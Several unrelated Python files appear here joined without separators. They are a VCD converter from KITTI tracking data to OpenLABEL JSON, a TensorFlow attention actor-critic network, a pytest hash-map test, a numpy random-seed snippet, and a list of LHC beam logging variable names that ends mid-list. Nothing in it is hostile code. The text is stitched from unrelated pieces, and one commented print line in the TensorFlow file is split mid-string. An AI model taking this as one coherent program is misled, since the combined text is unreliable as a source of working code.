"""
VCD (Video Content Description) library v5.0.0

Project website: http://vcd.vicomtech.org

Copyright (C) 2021, Vicomtech (http://www.vicomtech.es/),
(Spain) all rights reserved.

VCD is a Python library to create and manage VCD content version 5.0.0.
VCD is distributed under MIT License. See LICENSE.

"""

import csv
import sys
import os
sys.path.insert(0, "../..")

import glob
import math
import numpy as np

import vcd.core as core
import vcd.scl as scl
import vcd.schema as schema
import vcd.types as types
import vcd.utils as utils

class KITTI_Tracking_reader():
    def __init__(self, kitti_tracking_base_path, num=None):
        self.kitti_tracking_calib_path = os.path.join(kitti_tracking_base_path, "training/calib")
        self.kitti_tracking_oxts_path = os.path.join(kitti_tracking_base_path, "training/oxts")
        self.kitti_tracking_objects_path = os.path.join(kitti_tracking_base_path, "training/label_02")
        self.kitti_tracking_video_path = os.path.join(kitti_tracking_base_path, "video")

        self.vcds = {}

        # Parse all sequences
        if num is None:
            for i in range(0, 21):
                print("Parsing sequence " + str(i))
                #self.vcds[i] = self.parse_sequence(i)
                self.vcds[i] = self.parse_sequence_direct(i)
            print("All parsing done!")
        else:
            print("Parsing sequence " + str(num))
            # self.vcds[i] = self.parse_sequence(i)
            self.vcds[num] = self.parse_sequence_direct(num)

    @staticmethod
    def read_odometry_from_oxts(oxts_reader):
        oxts = []
        for row in oxts_reader:
            row = row[0:len(row) - 1]
            floats = [float(i) for i in row]
            oxts.append(floats)
            '''lat_deg = row[0]  # deg
            lon_deg = row[1]
            alt_deg = row[2]
            roll_rad = row[3]  # 0 = level, positive = left side up (-pi..pi)
            pitch_rad = row[4]  # 0 = level, positive = front down (-pi/2..pi/2)
            yaw_rad = row[5]  # 0 = east,  positive = counter clockwise (-pi..pi)
            vn = row[6] # velocity towards north(m / s)
            ve = row[7] # velocity towards east(m / s)
            vf = row[8]  # forward velocity, i.e.parallel to earth - surface(m / s)
            vl = row[9] # leftward velocity, i.e.parallel to earth - surface(m / s)
            vu = row[10] # upward velocity, i.e.perpendicular to earth - surface(m / s)
            ax = row[11] # acceleration in x, i.e. in direction of vehicle front(m / s ^ 2)
            ay = row[12] # acceleration in y, i.e. in direction of vehicle left(m / s ^ 2)
            az = row[13] # acceleration in z, i.e. in direction of vehicle top(m / s ^ 2)
            af = row[14] # forward acceleration(m / s ^ 2)
            al = row[15] # leftward acceleration(m / s ^ 2)
            au = row[16] # upward acceleration(m / s ^ 2)
            wx = row[17] # angular rate around x(rad / s)
            wy = row[18] # angular rate around y(rad / s)
            wz = row[19] # angular rate around z(rad / s)
            wf = row[20] # angular rate around forward axis(rad / s)
            wl = row[21] # angular rate around leftward axis(rad / s)
            wu = row[22] # angular rate around upward axis(rad / s)
            posacc = row[23] # velocity accuracy(north / east in m)
            velacc = row[24] # velocity accuracy(north / east in m / s)
            navstat = row[25] # navigation status
            numsats = row[26] # number of satellites tracked by primary GPS receiver
            posmode = row[27] # position mode of primary GPS receiver
            velmode = row[28] # velocity mode of primary GPS receiver
            orimode = row[29] # orientation mode of primary GPS receiver
            '''

        # Convert odometry (GPS) to poses
        odometry_4x4xN = utils.convert_oxts_to_pose(oxts)
        return odometry_4x4xN

    def parse_sequence_direct(self, seq_number):
        # This is a variant approach for creating a VCD 4.3.0 file reading the KITTI calibration files,
        # trying to avoid additional computation at this level, and exploiting the ability of VCD 4.3.0 to
        # express arbitrary transforms across coordinate systems

        vcd = core.VCD()

        #########################################
        # OPEN files
        #########################################
        calib_file_name = os.path.join(self.kitti_tracking_calib_path, str(seq_number).zfill(4) + ".txt")
        oxts_file_name = os.path.join(self.kitti_tracking_oxts_path, str(seq_number).zfill(4) + ".txt")
        object_file_name = os.path.join(self.kitti_tracking_objects_path, str(seq_number).zfill(4) + '.txt')

        calib_file = open(calib_file_name, newline='')
        oxts_file = open(oxts_file_name, newline='')
        object_file = open(object_file_name, newline='')
        calib_reader = csv.reader(calib_file, delimiter=' ')
        oxts_reader = csv.reader(oxts_file, delimiter=' ')
        object_reader = csv.reader(object_file, delimiter=' ')

        #########################################
        # CREATE base coordinate system
        #########################################
        # The main coordinate system for the scene "odom" represents a static cs (which coincides with first local cs).
        vcd.add_coordinate_system("odom", cs_type=types.CoordinateSystemType.scene_cs)

        #########################################
        # CREATE vehicle coordinate system
        #########################################
        # Local coordinate system, moving with the vehicle. Following iso8855 (x-front, y-left, z-up)
        vcd.add_coordinate_system("vehicle-iso8855", cs_type=types.CoordinateSystemType.local_cs, parent_name="odom")
        # Sensor coordinate systems are added

        # Add transforms for each time instant
        odometry_4x4xN = self.read_odometry_from_oxts(oxts_reader)

        # An odometry entry is a 4x4 pose matrix of the lcs wrt wcs (ergo a transform lcs_to_wcs)
        # poses_4x4xN_lcs_wrt_wcs = odometry_4x4xN
        frames_1xN = np.arange(0, odometry_4x4xN.shape[2], 1).reshape((1, odometry_4x4xN.shape[2]))
        r, c = frames_1xN.shape
        for i in range(0, c):
            vcd.add_transform(int(frames_1xN[0, i]), transform=types.Transform(
                src_name="vehicle-iso8855",
                dst_name="odom",
                transform_src_to_dst=types.TransformData(
                    val=list(odometry_4x4xN[:, :, i].flatten()),
                    type=types.TransformDataType.matrix_4x4))
            )

        #########################################
        # CREATE SENSORS coordinate system: LASER
        #########################################
        # http://www.cvlibs.net/datasets/kitti/setup.php
        location_velo_wrt_vehicle_3x1 = np.array([[0.76], [0.0], [1.73]])  # according to the documentation
        pose_velo_wrt_vehicle_4x4 = utils.create_pose(utils.identity(3), location_velo_wrt_vehicle_3x1)
        vcd.add_stream(stream_name="VELO_TOP",
                       uri="",
                       description="Velodyne roof",
                       stream_type=core.StreamType.lidar)
        vcd.add_coordinate_system("VELO_TOP", cs_type=types.CoordinateSystemType.sensor_cs,
                                  parent_name="vehicle-iso8855",
                                  pose_wrt_parent=types.PoseData(
                                      val=list(pose_velo_wrt_vehicle_4x4.flatten()),
                                      type=types.TransformDataType.matrix_4x4)
                                  )
        #########################################
        # CREATE SENSORS coordinate system: GPS/IMU
        #########################################
        # Let's build also the pose of the imu
        location_imu_wrt_vehicle_4x4 = np.array([[-0.05], [0.32], [0.93]])  # according to documentation
        pose_imu_wrt_vehicle_4x4 = utils.create_pose(utils.identity(3), location_imu_wrt_vehicle_4x4)
        vcd.add_stream(stream_name="IMU",
                       uri="",
                       description="GPS/IMU",
                       stream_type=core.StreamType.other)
        vcd.add_coordinate_system("IMU", cs_type=types.CoordinateSystemType.sensor_cs,
                                  parent_name="vehicle-iso8855",
                                  pose_wrt_parent=types.PoseData(
                                      val=list(pose_imu_wrt_vehicle_4x4.flatten()),
                                      type=types.TransformDataType.matrix_4x4)
                                  )

        #########################################
        # CREATE SENSORS coordinate system: CAM
        #########################################
        img_width_px = 1242
        img_height_px = 375  # these are rectified dimensions
        calib_matrices = {}
        for row in calib_reader:
            calib_matrices[row[0]] = [float(x) for x in row[1:] if
                                      len(x) > 0]  # filter out some spaces at the end of the row
        # From KITTI readme.txt:
        # To project a point from Velodyne coordinates into the left color image,
        # you can use this formula: x = P2 * R0_rect * Tr_velo_to_cam * y
        # For the right color image: x = P3 * R0_rect * Tr_velo_to_cam * y
        left_camera_K3x4 = np.reshape(calib_matrices["P2:"], (3, 4))
        right_camera_K3x4 = np.reshape(calib_matrices["P3:"], (3, 4))
        camera_rectification_3x3 = np.reshape(calib_matrices["R_rect"], (3, 3))

        transform_velo_to_camleft_3x4 = np.reshape(calib_matrices["Tr_velo_cam"], (3, 4))  # WRT to LEFT CAMERA ONLY
        camera_rectification_4x4 = np.vstack((np.hstack((camera_rectification_3x3, [[0], [0], [0]])), [0, 0, 0, 1]))
        transform_velo_to_camleft_4x4 = np.vstack((transform_velo_to_camleft_3x4, [0, 0, 0, 1]))
        transform_velo_to_camleft_4x4 = np.dot(camera_rectification_4x4,
                                               transform_velo_to_camleft_4x4)  # such that X_cam = transform_velo_to_cam_4x4 * X_velo
        pose_camleft_wrt_velo_4x4 = utils.inv(transform_velo_to_camleft_4x4)

        vcd.add_stream(stream_name="CAM_LEFT",
                       uri="",
                       description="Virtual Left color camera",
                       stream_type=core.StreamType.camera)

        vcd.add_stream_properties(stream_name="CAM_LEFT",
                                  intrinsics=types.IntrinsicsPinhole(
                                      width_px=img_width_px,
                                      height_px=img_height_px,
                                      camera_matrix_3x4=list(left_camera_K3x4.flatten()),
                                      distortion_coeffs_1xN=None
                                  )
                                  )
        vcd.add_coordinate_system("CAM_LEFT", cs_type=types.CoordinateSystemType.sensor_cs,
                                  parent_name="VELO_TOP",
                                  pose_wrt_parent=types.PoseData(
                                      val=list(pose_camleft_wrt_velo_4x4.flatten()),
                                      type=types.TransformDataType.matrix_4x4)
                                  )

        # Virtually, cam_left and cam_right are defined as the same coordinate systems, so their scs are the same
        # But their projection matrices (3x4) include a right-most non-zero column which shifts 3d points when projected
        # into the images, that is why projecting from velodyne to left and right use the same "extrinsics", and just differ
        # in the usage of the "intrinsic" matrices P2 and P3
        # P2 and P3 might be decomposed so P2 = K2*T2 and P3=K3*T3, so T2 and T3 could host extrinsic information
        # while K2 and K3 could host the intrinsic information. This way, the pose of cam_left would be T2*R_rect*Tr_velo
        # However, such decomposition seems to be non-trivial.
        # x = P2 * R0_rect * Tr_velo_to_cam * y
        # x = P3 * R0_rect * Tr_velo_to_cam * y
        vcd.add_stream(stream_name="CAM_RIGHT",
                       uri="",
                       description="Virtual Right color camera",
                       stream_type=core.StreamType.camera)

        vcd.add_stream_properties(stream_name="CAM_RIGHT",
                                  intrinsics=types.IntrinsicsPinhole(
                                      width_px=img_width_px,
                                      height_px=img_height_px,
                                      camera_matrix_3x4=list(right_camera_K3x4.flatten()),
                                      distortion_coeffs_1xN=None
                                  )
                                  )
        vcd.add_coordinate_system("CAM_RIGHT", cs_type=types.CoordinateSystemType.sensor_cs,
                                  parent_name="VELO_TOP",
                                  pose_wrt_parent=types.PoseData(
                                      val=list(pose_camleft_wrt_velo_4x4.flatten()),
                                      type=types.TransformDataType.matrix_4x4)
                                  )

        #########################################
        # Prepare SCL scripts to manage transforms
        #########################################
        scene = scl.Scene(vcd)

        #########################################
        # LABELS
        #########################################
        cam_right = scene.get_camera("CAM_RIGHT")
        for row in object_reader:
            frameNum = int(row[0])
            #trackID = int(row[1]) + 1  # VCD can't handle negative ids
            trackID = int(row[1])
            #if trackID == 0:
            #    continue  # Let's ignore DontCare labels

            semantic_class = row[2]
            truncated = utils.float_2dec(float(row[3]))
            occluded = int(row[4])

            alpha = utils.float_2dec(float(row[5]))  # this is the observation angle (see cs_overview.pdf)

            left = utils.float_2dec(float(row[6]))
            top = utils.float_2dec(float(row[7]))
            width = utils.float_2dec(float(row[8]) - left)
            height = utils.float_2dec(float(row[9]) - top)

            if trackID == -1:  # This is DontCare, there are multiple boxes
                count = vcd.get_element_data_count_per_type(core.ElementType.object, trackID, types.ObjectDataType.bbox, frameNum)
                name_box = "box2D" + str(count)
            else:
                name_box = "box2D"
            bounding_box_left = types.bbox(name=name_box + "_left",
                                      val=(left + width/2, top + height/2, width, height),
                                      coordinate_system='CAM_LEFT')
            # see cs_overview.pdf
            dimH = utils.float_2dec(float(row[10]))
            dimW = utils.float_2dec(float(row[11]))
            dimL = utils.float_2dec(float(row[12]))

            locX = utils.float_2dec(float(row[13]))
            locY = utils.float_2dec(float(row[14]))
            locZ = utils.float_2dec(float(row[15]))

            rotY = utils.float_2dec(float(row[16]))

            # Note KITTI uses (h, w, l, x,  y,  z,  ry) for cuboids, in camera coordinates (X-to-right, Y-to-bottom, Z-to-front)
            # while in VCD    (x, y, z, rx, ry, rz, sx, sy, sz) is defined as a dextrogire system, centroid-based
            # NOTE: changing locY by locY + dimH/2 as VCD uses centroid and KITTI uses bottom face
            # NOTE: All in Camera coordinate system
            # NOTE: x = length, y = height, z = width because of convention in readme.txt
            # The reference point for the 3D bounding box for each object is centered on the
            # bottom face of the box. The corners of bounding box are computed as follows with
            # respect to the reference point and in the object coordinate system:
            # x_corners = [l/2, l/2, -l/2, -l/2,  l/2,  l/2, -l/2, -l/2]^T
            # y_corners = [0,   0,    0,    0,   -h,   -h,   -h,   -h  ]^T
            # z_corners = [w/2, -w/2, -w/2, w/2, w/2, -w/2, -w/2, w/2  ]^T
            # with l=length, h=height, and w=width.
            cuboid_vals = [utils.float_2dec(locX), utils.float_2dec(locY - dimH/2), utils.float_2dec(locZ),
                                       0, utils.float_2dec(rotY), 0,
                                       utils.float_2dec(dimL), utils.float_2dec(dimH), utils.float_2dec(dimW)]
            cuboid = types.cuboid(name="box3D",
                                  val=cuboid_vals,
                                  coordinate_system="CAM_LEFT")

            if not vcd.has(core.ElementType.object, str(trackID)):
                # First time
                if trackID >= 0:
                    vcd.add_object(name=semantic_class + str(trackID), semantic_type=semantic_class, uid=str(trackID), frame_value=frameNum)
                else:  # so this is for DontCare object
                    vcd.add_object(name=semantic_class, semantic_type=semantic_class, uid=str(trackID),
                                   frame_value=frameNum)

            vcd.add_object_data(str(trackID), bounding_box_left, frameNum)
            vcd.add_object_data(str(trackID), cuboid, frameNum)
            vcd.add_object_data(trackID, types.num(name="truncated", val=truncated), frameNum)
            vcd.add_object_data(trackID, types.num(name="occluded", val=occluded), frameNum)
            vcd.add_object_data(trackID, types.num(name="alpha", val=alpha), frameNum)

            # Adding CAM_RIGHT data: KITTI GT does not include these boxes explictly, but we can obtain them projecting from the 3D box
            # NOTE 1: cuboids are expressed with respect to the CAM_LEFT coordinate system
            # NOTE 2: (see above) CAM_LEFT and CAM_RIGHT are the same coordinate systems, they just differ in the intrinsics, therefore, no need to convert the 3D boxes
            # NOTE 3: Can't project DontCare objects as the 3D cuboids are absurd
            #cuboid_vals_right = scene.transform_cuboid(cuboid_vals, "CAM_LEFT", "CAM_RIGHT", frameNum)
            if trackID != -1:  # Don'tCare objects
                points3d_4x8 = utils.generate_cuboid_points_ref_4x8(cuboid_vals)
                points2d_4x8, idx_valid = cam_right.project_points3d(points3d_4x8)
                points2d_4x8_valid = points2d_4x8[:, idx_valid]
                bbox_right_vals = utils.bounding_rect(points2d_4x8_valid)

                bounding_box_right = types.bbox(name=name_box + '_right',
                                        val=bbox_right_vals,
                                        coordinate_system='CAM_RIGHT')

                vcd.add_object_data(str(trackID), bounding_box_right, frameNum)

        #########################################
        # Ego-vehicle
        #########################################
        vcd.add_object(name="Egocar", semantic_type="Egocar", uid=str(-2))

        cuboid_ego = types.cuboid(name="box3D",
                                  val=(1.35, 0.0, 0.736,
                                       0.0, 0.0, 0.0,
                                       4.765, 1.82, 1.47),
                                  coordinate_system="vehicle-iso8855")
        vcd.add_object_data(str(-2), cuboid_ego)

        # Return
        return vcd

def convert_KITTI_tracking_to_VCD4():
    # Base paths
    kitti_tracking_base_path = "../../../../../data/kitti/tracking"
    kitti_tracking_output_vcd_path = "./etc"

    num = None  # use None for all

    # Create scenes
    kitti_parser = KITTI_Tracking_reader(kitti_tracking_base_path, num)

    # Draw/store scenes in VCD
    for count, key in enumerate(kitti_parser.vcds):
        # Store
        openlabel_version_name = "openlabel" + schema.openlabel_schema_version.replace(".", "")
        vcd_base_name = openlabel_version_name
        vcd_file_name = os.path.join(kitti_tracking_output_vcd_path,
                                     vcd_base_name + "_kitti_tracking_" + str(count).zfill(4) + ".json")
        print('Storing VCD file...' + vcd_file_name)
        kitti_parser.vcds[key].save(file_name=vcd_file_name)

        if count == 3:  # Save a copy of trace #003 to tests for further VCD tests
            vcd_file_name = os.path.join("../../tests/etc", vcd_base_name + "_kitti_tracking_" + str(count).zfill(4) + ".json")
            kitti_parser.vcds[key].save(file_name=vcd_file_name)

if __name__ == '__main__':
    print("Running " + os.path.basename(__file__))
    convert_KITTI_tracking_to_VCD4()


import tensorflow as tf
from baselines.her.util import store_args, nn

BLOCK_FEATURES = 16
ENV_FEATURES = 10
FEATURE_SIZE = 64
ATTENTION_CNT = 1

class AttentionActorCritic:
    @store_args
    def __init__(self, inputs_tf, dimo, dimg, dimu, max_u, o_stats, g_stats, hidden, layers,
                 **kwargs):
        """The actor-critic network and related training code.

        Args:
            inputs_tf (dict of tensors): all necessary inputs for the network: the
                observation (o), the goal (g), and the action (u)
            dimo (int): the dimension of the observations
            dimg (int): the dimension of the goals
            dimu (int): the dimension of the actions
            max_u (float): the maximum magnitude of actions; action outputs will be scaled
                accordingly
            o_stats (baselines.her.Normalizer): normalizer for observations
            g_stats (baselines.her.Normalizer): normalizer for goals
            hidden (int): number of hidden units that should be used in hidden layers
            layers (int): number of hidden layers
        """
        self.o_tf = inputs_tf['o']
        self.g_tf = inputs_tf['g']
        self.u_tf = inputs_tf['u']

        # Prepare inputs for actor and critic.
        o = self.o_stats.normalize(self.o_tf)
        g = self.g_stats.normalize(self.g_tf)

        num_blocks = (o.get_shape().as_list()[1] - ENV_FEATURES) // BLOCK_FEATURES

        obs_env = tf.slice(o, [0, 0], [-1, ENV_FEATURES])
        obs_blocks = tf.slice(o, [0, ENV_FEATURES], [-1, -1])
        #print('######################', obs_blocks)

        input_blocks = tf.reshape(obs_blocks, [-1, num_blocks, BLOCK_FEATURES])
        #print('######################', input_blocks)
        to_concat = []
        batch_size = tf.shape(obs_blocks)[0]

        with tf.variable_scope('Q'):
            for _ in range(ATTENTION_CNT):
                block_mlp = [64]
                obs_blocks = input_blocks
                for num_hidden in block_mlp:
                    obs_blocks = tf.layers.dense(obs_blocks, num_hidden, activation=tf.nn.relu)
                    #print('###########', obs_blocks)

                obs_blocks = tf.layers.dense(obs_blocks, FEATURE_SIZE, activation=None)
                rnn_input = tf.unstack(tf.transpose(obs_blocks, perm=[1,0,2]))
                RNN_HIDDEN = FEATURE_SIZE
                lstm = tf.contrib.rnn.LSTMCell(RNN_HIDDEN, state_is_tuple=True)

                #print('###########batch', batch_size, RNN_HIDDEN)
                hid_state = tf.zeros([batch_size, RNN_HIDDEN])
                cell_state = tf.zeros([batch_size, RNN_HIDDEN])
                state = (hid_state, cell_state)

                #out = tf.scan(lambda a, x: lstm(x, a), rnn_input, initializer=hid_state)
                #print('#####ghts)
#out', out)

                blocks = []
                for block in rnn_input:
                    output, state = lstm(block, state)
                    blocks.append(output)
                    #print('#####', output)
                    #print('#####', state)

                blocks = tf.stack(blocks)
                blocks = tf.transpose(blocks, perm=[1, 0, 2])

                # Add all the blocks together
                # (?, n)
                sum_blocks = tf.reduce_sum(blocks, axis=1)
                #attention_input = tf.concat(axis=2, values=[obs_blocks, sum_blocks])
                #print('$$$$$$$', attention_input)

                sum_mlp = [64]
                for num_hidden in sum_mlp:
                    sum_blocks = tf.layers.dense(sum_blocks, num_hidden, activation=tf.nn.tanh)

                sum_blocks = tf.layers.dense(sum_blocks, FEATURE_SIZE, activation=None)
                print(sum_blocks)
                # (?, 1, n)
                attention = tf.expand_dims(sum_blocks, 1)

                #print('###########', attention)

                # (?, ?, n)
                attention = tf.tile(attention, [1, num_blocks, 1])
                #print('###########', attention)

                attention = tf.nn.l2_normalize(attention, axis=2)
                #print('###########', attention)

                # (?, ?)
                norm_block_emb = tf.nn.l2_normalize(blocks, axis=2)
                #print('###########', attention)
                #print('###########', norm_block_emb)

                weights = tf.reduce_sum(attention * norm_block_emb, axis=2)
                weights = tf.nn.softmax(weights, axis=1)
                print('###########', weights)
                sindex = tf.argmax(weights, axis=1, output_type=tf.int32)
                print('###########',sindex)

                findex = tf.range(tf.shape(sindex)[0])
                #index = tf.stack(tf.meshgrid(tf.range(0,batch_size), tf.range(0,batch_size)) + [ sindex ], axis=2)

                print('###########', findex)

                index = tf.stack([findex, sindex])
                index = tf.transpose(index, perm=[1, 0])
                #sind = tf.expand_dims(ind, axis=1)
                print('###########', index)
                chosen_block = tf.gather_nd(input_blocks, index)

                print('###########', chosen_block)

                self.block_weights = weights
                # (?, ?, 1)
                weights = tf.expand_dims(weights, 2)
                # (?, ?, n)
                weights = tf.tile(weights, [1, 1, FEATURE_SIZE])
                weighted = weights * blocks
                # (?, n)
                gated_obs = tf.reduce_sum(weighted, axis=1)
                to_concat.append(gated_obs)
                to_concat.append(chosen_block)
            gated_obs = tf.concat(axis=1, values=to_concat)

            input_pi = tf.concat(axis=1, values=[obs_env, gated_obs, g])  # for actor

        # Networks.
        with tf.variable_scope('pi'):
            self.pi_tf = self.max_u * tf.tanh(nn(
                input_pi, [self.hidden] * self.layers + [self.dimu]))
        with tf.variable_scope('Q'):
            # for policy training
            input_Q = tf.concat(axis=1, values=[obs_env, gated_obs, g, self.pi_tf / self.max_u])
            self.Q_pi_tf = nn(input_Q, [self.hidden] * self.layers + [1])
            # for critic training
            input_Q = tf.concat(axis=1, values=[obs_env, gated_obs, g, self.u_tf / self.max_u])
            self._input_Q = input_Q  # exposed for tests
            self.Q_tf = nn(input_Q, [self.hidden] * self.layers + [1], reuse=True)


import pytest

from hash_table.hash_map import HashTable

class TestHashMap:

    def test_set_get(self):
        ma = HashTable(10)
        ma.set(0, "testset")
        print("test_set")
        assert "testset" == ma.get(0)

    def test_remove(self):
        __tracebackhide__ = True
        ma = HashTable(10)
        ma.set(1, "testremove")
        ma.remove(1)
        try:
            value = ma.get(1)
            if value == "testremove":
                pytest.fail("test remove failed")
        except KeyError as e:
            assert 1


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Sun Nov 18 08:30:48 2018

@author: Mani
"""
import numpy as np

np.random.seed(5)
for i in range(9):
    print(np.random.random())


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Tue Oct  9 13:50:10 2018

@author: lcoyle
"""

#==============================================================================
# Tunes
#    unit : frev
#    type : numeric
#==============================================================================
TUNE_B1H = 'LHC.BOFSU:TUNE_B1_H'
TUNE_B1V = 'LHC.BOFSU:TUNE_B1_V'
TUNE_B2H = 'LHC.BOFSU:TUNE_B2_H'
TUNE_B2V = 'LHC.BOFSU:TUNE_B2_V'

TUNE_B1H_BBQHS = 'LHC.BQBBQ.CONTINUOUS_HS.B1:TUNE_H'
TUNE_B1V_BBQHS = 'LHC.BQBBQ.CONTINUOUS_HS.B1:TUNE_V'
TUNE_B2H_BBQHS = 'LHC.BQBBQ.CONTINUOUS_HS.B2:TUNE_H'
TUNE_B2V_BBQHS = 'LHC.BQBBQ.CONTINUOUS_HS.B2:TUNE_V'

TUNE_B1H_BBQ = 'LHC.BQBBQ.CONTINUOUS.B1:TUNE_H'
TUNE_B1V_BBQ = 'LHC.BQBBQ.CONTINUOUS.B1:TUNE_V'
TUNE_B2H_BBQ = 'LHC.BQBBQ.CONTINUOUS.B2:TUNE_H'
TUNE_B2V_BBQ = 'LHC.BQBBQ.CONTINUOUS.B2:TUNE_V'

#==============================================================================
# Chroma (maybe not useful)
#    unit : dQ/(dp/p)datetime.time.
#    type : numeric
#    constant with time I think
# NO GOOD
#==============================================================================
CHROMA_B1H = 'LHC.BOFSU:CHROMA_B1_H'
CHROMA_B1V = 'LHC.BOFSU:CHROMA_B1_V'
CHROMA_B2H = 'LHC.BOFSU:CHROMA_B2_H'
CHROMA_B2V = 'LHC.BOFSU:CHROMA_B2_V'

#No data in 2017
CHROMA_B1H = 'LHC.BQSH.B1:CHROMA_AVG'
CHROMA_B1V = 'LHC.BQSH.B2:CHROMA_AVG'
CHROMA_B2H = 'LHC.BQSV.B1:CHROMA_AVG'
CHROMA_B2V = 'LHC.BQSV.B2:CHROMA_AVG'

#==============================================================================
# Chroma: magnet current to get the settings (instead of the measurement)
#    unit : A
#    type : numeric
# constant with time I think
#==============================================================================
CHROMA_MAG_D1_B1 = 'RPMBB.UA23.RSD1.A12B1:I_MEAS'
CHROMA_MAG_D2_B1 = 'RPMBB.UA23.RSD2.A12B1:I_MEAS'
CHROMA_MAG_F1_B1 = 'RPMBB.UA23.RSF1.A12B1:I_MEAS'
CHROMA_MAG_F2_B1 = 'RPMBB.UA23.RSF2.A12B1:I_MEAS'
CHROMA_MAG_D1_B2 = 'RPMBB.UA23.RSD1.A12B2:I_MEAS'
CHROMA_MAG_D2_B2 = 'RPMBB.UA23.RSD2.A12B2:I_MEAS'
CHROMA_MAG_F1_B2 = 'RPMBB.UA23.RSF1.A12B2:I_MEAS'
CHROMA_MAG_F2_B2 = 'RPMBB.UA23.RSF2.A12B2:I_MEAS'
CHROMA_MAG = [CHROMA_MAG_D1_B1,CHROMA_MAG_D2_B1,CHROMA_MAG_F1_B1,CHROMA_MAG_F2_B1,
              CHROMA_MAG_D1_B2,CHROMA_MAG_D2_B2,CHROMA_MAG_F1_B2,CHROMA_MAG_F2_B2]

#==============================================================================
# Coupling
#    unit : frev
#    unit : deg
#    type : numeric
# constant with time I think
#==============================================================================
COUPLING_B1       = 'LHC.BOFSU:COUPLING_ABS_B1'
COUPLING_PHASE_B1 = 'LHC.BOFSU:COUPLING_PHASE_B1' #the phase is always 0
COUPLING_B2       = 'LHC.BOFSU:COUPLING_ABS_B2'
COUPLING_PHASE_B2 = 'LHC.BOFSU:COUPLING_PHASE_B2' #the phase is always 0

#==============================================================================
# Beam Intensity
#    unit : Charges
#    type : numeric
#==============================================================================
BCT_B1 = 'LHC.BCTFR.A6R4.B1:BEAM_INTENSITY'
BCT_B2 = 'LHC.BCTFR.A6R4.B2:BEAM_INTENSITY'

#==============================================================================
# Beam Intensity bunch by bunch
#    unit : Charges
#    type : vectornemuric
#==============================================================================
BCT_BUNCH_B1 = 'LHC.BCTFR.A6R4.B1:BUNCH_INTENSITY'
BCT_BUNCH_B2 = 'LHC.BCTFR.A6R4.B2:BUNCH_INTENSITY'

#==============================================================================
# Emittance I think this can be replaced with BSRT stuff specificaly the
# the BSRT.emitfit has the sigma_h and sigma_v values.
#    unit : mm
#    type : vectonumeric
#==============================================================================
EMITTANCE_B1H     = 'LHC.BSRT.5R4.B1:FIT_SIGMA_H'
EMITTANCE_B1V     = 'LHC.BSRT.5R4.B1:FIT_SIGMA_V'
EMITTANCE_B1_GATE = 'LHC.BSRT.5R4.B1:GATE_DELAY'
EMITTANCE_B2H     = 'LHC.BSRT.5L4.B2:FIT_SIGMA_H'
EMITTANCE_B2V     = 'LHC.BSRT.5L4.B2:FIT_SIGMA_V'
EMITTANCE_B2_GATE = 'LHC.BSRT.5L4.B2:GATE_DELAY'

#==============================================================================
# Orbit  I am not sure how to include this, but it is important, if the beam
# has a large orbit drift we will have losses. Maybe we should include in the
# dataset the difference with respect to the reference orbit ?
#    unit : um
#    type : numeric
#==============================================================================
POS_H = 'LHC.BOFSU:POSITIONS_H'
POS_V = 'LHC.BOFSU:POSITIONS_V'
REF_H = 'LHC.BOFSU:REF_POS_H'
REF_V = 'LHC.BOFSU:REF_POS_V'
MSK_H = 'LHC.BOFSU:BPM_MASK_H'
MSK_V = 'LHC.BOFSU:BPM_MASK_V'
POS_VAR = [POS_H,REF_H,MSK_H,POS_V,REF_V,MSK_V]

#==============================================================================
# Fill Scheme
#    unit : no unit
#    type : textual
# set per fill
#==============================================================================
FILL_SCHEME = 'LHC.STATS:LHC:INJECTION_SCHEME'
BUNCH_NUM_B1 = 'LHC.STATS:B1_NUMBER_BUNCHES'
BUNCH_NUM_B2 = 'LHC.STATS:B2_NUMBER_BUNCHES'
#'''
#'LHC.STATS:BUNCH_SPACING_B1'
#
#'LHC.STATS:BUNCH_SPACING_B2'
#'LHC.STATS:B2_NUMBER_BUNCHES'
#
#'LHC.STATS:NUMBER_COLLISIONS_IP1_5'
#'LHC.STATS:NUMBER_COLLISIONS_IP2'
#'LHC.STATS:NUMBER_COLLISIONS_IP8'
#'LHC.STATS:NUMBER_OF_INJECTIONS'
#'''

#==============================================================================
# Heat loss ~ indirect measurement of e-cloud presence
#    unit : W
#    type : numeric
# This is for the whole beam pipe as we don't have measurements for each beam
#==============================================================================
S12_HL = 'S12_QBS_AVG_ARC.POSST'
S23_HL = 'S23_QBS_AVG_ARC.POSST'
S34_HL = 'S34_QBS_AVG_ARC.POSST'
S45_HL = 'S45_QBS_AVG_ARC.POSST'
S56_HL = 'S56_QBS_AVG_ARC.POSST'
S67_HL = 'S67_QBS_AVG_ARC.POSST'
S78_HL = 'S78_QBS_AVG_ARC.POSST'
S81_HL = 'S81_QBS_AVG_ARC.POSST'
HL = [S12_HL,S23_HL,S34_HL,S45_HL,S56_HL,S67_HL,S78_HL,S81_HL]

#==============================================================================
# Octupole Currents
#    unit : A
#    type : numeric
# I think these all follow the same trend so I don't see why I need ot include
# more thatn one for each beam
#==============================================================================
OCTU_B1 = 'RPMBB.RR13.ROF.A81B1:I_MEAS'
OCTU_B2 = 'RPMBB.RR13.ROF.A81B2:I_MEAS'
#'RPMBB.RR17.ROF.A12B1:I_MEAS'
#'RPMBB.RR17.ROF.A12B2:I_MEAS'
#'RPMBB.RR53.ROF.A45B1:I_MEAS'
#'RPMBB.RR53.ROF.A45B2:I_MEAS'
#'RPMBB.RR57.ROF.A56B1:I_MEAS'
#'RPMBB.RR57.ROF.A56B2:I_MEAS'
#'RPMBB.RR73.ROF.A67B1:I_MEAS'
#'RPMBB.RR73.ROF.A67B2:I_MEAS'
#'RPMBB.RR77.ROF.A78B1:I_MEAS'
#'RPMBB.RR77.ROF.A78B2:I_MEAS'
#'RPMBB.UJ33.ROF.A23B1:I_MEAS'
#'RPMBB.UJ33.ROF.A23B2:I_MEAS'
#'RPMBB.UJ33.ROF.A34B1:I_MEAS'
#'RPMBB.UJ33.ROF.A34B2:I_MEAS'

#==============================================================================
# Losses
#    unit : Gy/s
#    type : Numeric
#==============================================================================
BLM_TCH_B1 = 'BLMEI.06L7.B1E10_TCHSH.6L7.B1:LOSS_RS09' #can also be TCHSH,TCHSV ...
BLM_TCP_B1 = 'BLMTI.06L3.B1I10_TCP.6L3.B1:LOSS_RS09' #can also be B6L7,C6L7,D6L7 ...
BLM_TCH_B2 = 'BLMEI.06R7.B2I10_TCHSH.6R7.B2:LOSS_RS09' #can also be TCHSH,TCHSV ...
